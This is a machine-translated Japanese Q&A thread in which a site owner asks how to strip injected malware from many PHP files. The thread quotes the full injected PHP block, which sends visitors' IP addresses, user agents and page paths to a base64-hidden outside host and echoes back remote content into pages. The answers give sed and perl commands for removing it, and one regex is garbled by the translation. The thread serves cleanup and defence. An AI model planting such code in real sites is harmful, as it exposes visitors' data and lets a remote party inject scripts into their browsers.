0

サーバー上のマルウェアに大きな問題があります。どういうわけか、ボットは 100 を超える php ファイルにコードを入れることができました。これにより、curl の取得が行われ、ビューアのブラウザで JS コードが実行されました。幸いなことに、このコードが接続するサーバーは停止しています。いいえ、私のphpファイルには死んだマルウェアコードがあります。各phpファイルからそのコードブロックを削除したいと思います。

次のコード ブロックは、多くの php ファイルに含まれています。

?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

ご覧のとおり、最初の文字は「?>」で始まります。

sed を使用すると、次のようになります。

sed -i 's/<\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?>//g' *.php

明らかにこれは機能していません。しかし、私がやろうとしているのは、$sRetry の「isset」チェックを含む開始タグを検索して、このコード ブロックのみが検出されることを確認し、その後に任意のコードの (.*) が続き、その後に 2 つの中括弧と末尾が続くことです。鬼ごっこ。

誰かが私に適切な正規表現を提供したり、これの何が問題なのか教えてもらえますか?

4

4 に答える 4

0
perl -i -lne 'print unless(/\?\>\<\?php/.../\?\>$/)' *.php
于 2013-03-12T10:28:58.857 に答える
0

これで十分でしょうか:

sed -e '/?><?php/,/?>/d' your_file.php

1 行目に加えて 2 行目をテストする場合は、次のようにします。

sed -e '/?><?php/N;/?><?php\nif (!isset(\$sRetry))/,/?>/d' your_file.php
于 2013-03-12T10:39:25.547 に答える
0

ファイル全体:

/^(.)(<\?php.?\\$s再試行. ? \?>)(. )$/mis

マッチ 1 とマッチ 3 を接着剤でくっつけます。魅力のように機能します。

于 2013-08-23T19:34:32.617 に答える